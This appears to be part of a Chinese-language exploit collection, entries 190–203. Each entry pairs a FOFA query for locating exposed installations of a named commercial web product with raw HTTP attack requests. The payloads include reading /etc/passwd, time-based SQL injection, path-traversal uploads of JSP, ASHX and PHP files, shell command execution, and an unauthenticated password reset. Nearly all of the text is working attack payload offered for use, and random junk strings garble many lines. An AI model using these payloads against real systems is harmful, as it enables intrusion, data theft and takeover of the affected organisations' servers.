9 k5 H- o' R  V$ m$ W- M2 h3 yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
* v* C5 G- a( m2 c

% d5 V2 N4 X  w190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
- z( T' [, ?- \1 x- d. rHost: your-ip
9 Q7 `. x5 Y+ [% K6 |. L/ B$ BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
5 x9 `7 b( y) U4 @$ _8 K2 AContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. I% D- k, \5 |/ b& G
+ K0 D+ Y: k0 d& t: x6 Z' L$ {4 ypoi=file:///etc/passwd

' ]& B9 R9 R  Y# w- D
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
; g1 A7 O) C; |7 U7 ?5 fPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
! ^, q# B8 R3 i/ v4 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; J. d5 q5 o3 k) z8 \  Y( u* vContent-Type: application/x-www-form-urlencoded
) x7 @; M# H. S) w2 g
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
. b8 u0 X. ]% o* }2 d5 M) T8 lFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
6 ?0 Z3 D6 s6 F4 Z8 ?: b/ u8 aHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
1 n: v5 B# Q" m# i9 H3 l
9 f" O8 w9 P: L8 q$ }- a% j
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
( S, u% l+ u) q{
) y7 i, l, b$ v  Z# a) _5 Upublic bool IsReusable
{ get { return true; } }
  h2 w$ J  U2 i3 X8 ppublic void ProcessRequest(HttpContext ctx)
% b% o, w$ N: m# b. t7 u" G7 J{
ctx.Response.Write("test");
6 \" q% G- _0 q, ^7 U}
$ \) }2 H4 A+ F. A8 l}
5 W) f0 H6 S& B  A

  ?) p, @/ F) ?+ v& F193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
1 u* k) n" [9 B& A7 W9 GGET /master/ajaxActions/getTokenAction.php HTTP/1.1
/ c4 y! ~* X4 Z4 [2 U& wHost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
5 e& r  Q( c$ _User-Agent: Mozilla/5.0
: j- ^7 p3 C! F9 F
" N3 N/ B, c0 j7 |# N, V
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
% ^. B( g) d' @1 R" D- CHost:
7 I4 x. n$ P* b7 {; G# L8 A8 e) a. M5 LUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
( T/ V0 @' n# q+ JCookie: PHPSESSID=2333333333333;
1 S0 Y1 X0 b2 ?5 d0 nContent-Type: application/x-www-form-urlencoded
Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

) ~8 B8 h. t+ ~5 y( c7 U; U
% T/ E( H1 ^" g6 zGET /master/img/config HTTP/1.1
/ z7 f6 y: b/ r! ]* yHost:
; R) _1 k$ u8 {& ?, B2 Y4 L! p3 DUser-Agent: Mozilla/5.0
! l+ h% a6 n- s5 [
3 f& `- m9 @! R4 y1 I  ?( t' T& ~  G" u
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
, U* Z% u, f0 i4 Y6 O6 z) qFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

6 E7 U4 o" E5 w& `# n) u! J: F% {POST /servlet/uploadAttachmentServlet HTTP/1.1
# {, Q( ^! ?5 c$ d# }Host: host
7 `, d1 l8 w: A! M, `5 [7 w) CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, L6 g. m) E& ^+ [+ p; ^Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
: F( ]5 k2 s7 U. t+ hContent-Type: text/plain
<% out.println("hello");%>
6 U7 b$ t2 M6 r. {& H4 l------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
3 t, X/ E0 }% p {"iq":{"query":{"UpdateType":"mail"}}}
- d: ^5 T' I5 O5 g$ R------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
% Q' y7 h* E$ i  F0 Y& L9 P

4 i6 D4 n8 L, b: m4 h( x) K2 f195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
' C0 M4 S  Z# M: R+ CFOFA：title=="飞鱼星企业级智能上网行为管理系统
( G- h% Q$ E5 {, d2 APOST /send_order.cgi?parameter=operation HTTP/1.1
! G  I( Z7 j. X9 yHost: 127.0.0.1
) C0 z! R/ S) d+ d1 MPragma: no-cache
' I4 s: H9 ~9 }+ l2 w0 WCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
8 }8 \) ?4 T+ P+ D4 _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
" p5 z, E# ~7 L  a5 KContent-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


" @8 ^3 Q4 }! C6 B4 q: `196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
+ c7 L' u! b& Q( |; j9 hPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
! J( o5 ^+ O. iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
1 U3 `1 n% f+ F3 Q# w% ^/ qAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
3 M2 r; h! h3 q  zContent-Length: 45
Connection: close
2 E+ O6 m, ]+ ~* k& I/ i
{"xgh":"test","newPass":"test666","email":""}
0 u% v5 @: S( R- G  k9 d

/ ]( t. l- x. ?, P! p+ ^
7 s1 f6 w: J2 D3 s" Z; f197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
9 {( ]& u6 R& U3 \FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
; ^( r" ^+ _( p; GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
7 j" X" z4 a4 r5 BAccept-Encoding: gzip, deflate
" c/ H6 _* _& ^5 ^4 YConnection: close

6 o: T" g( Y3 Z

198.  阿里云盘 WebDAV 命令注入
# v" f, z1 p$ h/ i: y& X2 rCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
; g( S4 {# B. w% P" IAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

; E( C  U% t3 z
- e3 S" \. d- x6 c* J& h2 L199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

3 J' r# {2 v9 B; i  D. m& G2 O响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
$ |4 C( P  q* q/ ~/ D; b! ^
2.使用刚才上一步获取到的jwt获取cookie：
+ Z3 H9 z- w2 A% l
POST /auth/check HTTP/1.1
# \+ ^9 |( w6 K% [Content-Type: application/json
9 a' O, B! K% e* i' |  a$ k
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
: y: Y! y4 E9 s
响应：200，返回值:
- h4 V8 d- T8 B+ ZSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
0 r' l  x: c# S& P" zFofa：title="Authenticate Please!"
  ~  A  `6 L& lPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
9 b, `- o6 t+ V* `5 H! kCookie: mysession=95524f01e238bf51bb60d77ede3bea92
  ]# o3 G8 `4 B5 ~
( ]$ h3 r) [( f-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

+ G( f! g2 U/ D5 G6 P7 P, S6 `<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
, R3 i2 O8 S0 E) D
" @( `8 [# f. L. w- ?-----------------------------36D28FBc36bd6feE7Fb3--

: u' o# Y! q# ?' ~0 d
/storage/uploads/tttt.php
3 }# t0 @: M( w- h+ p# u9 A
200. SeaCMS海洋影视管理系统dmku SQL注入
, g8 K/ U4 x! w0 \# X3 qFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
6 W" S! S+ a7 O8 Y9 Q6 ACookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
' a3 i) ]- g2 g  X3 T3 I! L6 A- pUpgrade-Insecure-Requests: 1
4 J9 R" f/ ~8 {- y4 s5 E% \3 c4 t2 f4 wCache-Control: max-age=0
- X; _* ^& G4 [. c( \# r8 X1 Q* }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. l- W/ f- d% u/ Y4 M0 ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 }+ v5 j9 U- `

" ?4 t, n/ `4 p* Z201. 方正全媒体新闻采编系统 binary SQL注入
% \. b/ T, x; x0 y: XFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# x. [, k  `+ H. }7 c: jAccept-Language: zh-CN,zh;q=0.9
$ K& r6 y( u& [  d0 s9 l, ^2 RConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


! R( U2 S7 W2 `" ~202. 微擎系统 AccountEdit任意文件上传
9 s5 s  a, R, ^& [3 g3 bFOFA：body="/Widgets/WidgetCollection/"
: o# D, b2 M, d. ?, @# J获取__VIEWSTATE和__EVENTVALIDATION值
9 K: W6 J2 @. c7 \  Z  M$ u6 {* }/ ^GET /User/AccountEdit.aspx HTTP/1.1
# X6 r- [' S. u! KHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0


1 T& }& p; p* v3 o替换__VIEWSTATE和__EVENTVALIDATION值
$ Q. |5 X3 s( D  APOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
5 w* ?! R7 A9 I5 c& V8 G$ `Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
6 i6 [3 D# }  D9 U7 E+ g
& g& j' C3 T9 v6 U__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
! Z6 T! U- k& \! D: S1 |1 l2 {2 u1 `Content-Disposition: form-data; name="__EVENTVALIDATION"
! ?# q) @( F6 M5 h1 w# l
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
: b! V; L- _3 C6 m0 C1 wContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
6 w0 x5 p2 j4 _/ V  K5 u, R+ ^3 {, v
Hello World!
  p. C+ y/ V8 O1 U4 j-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
, r0 I, n# e$ b- X$ {8 ~
上传图片
! M8 F  r( }1 @) n1 u& i+ e$ d-----------------------------786435874t38587593865736587346567358735687
: ^1 V% ~- {6 b- Q' BContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

; W! a' \6 L( t+ F6 Y; G  ?* B) u  P$ {6 M
-----------------------------786435874t38587593865736587346567358735687
7 U9 \+ j( C5 k, o7 m* ~Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
* s$ P, H  Z3 C3 E  a' i' q

8 f- z9 s& }% a% X3 J-----------------------------786435874t38587593865736587346567358735687--
  u) x' C1 Z: q. ~0 }% b
3 Q2 ?* ?* p6 q% X# k
/_data/Uploads/1123.txt
7 b$ L# ?( y: Y, y2 k: B) k
7 r; |; w) ]% ^* [203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
# l; v& Y  L. a8 k3 z/ q- C* dHost: x.x.x.x
: x4 Q  |' i9 FAccept-Encoding: gzip
$ s1 f. K4 |* hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
2 Q, U# {- C4 s. n
, o7 O5 s+ S" F# s9 T& X------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
; b  }. Q3 v  @) j# bContent-Type:image/jpeg

' b8 U& H& y+ s  h! ~7 o4 {( V<% out.print("hello,eHR");%>
9 y& \7 f3 W3 Q' G8 O* R6 D------WebKitFormBoundaryt7WbDl1tXogoZys4--

4 G8 r, E, L' c9 z
& V6 ~3 \+ ^$ B- Z

# }, o! W( D6 k2 [6 }

+ t8 X6 E/ ]5 @/ T7 w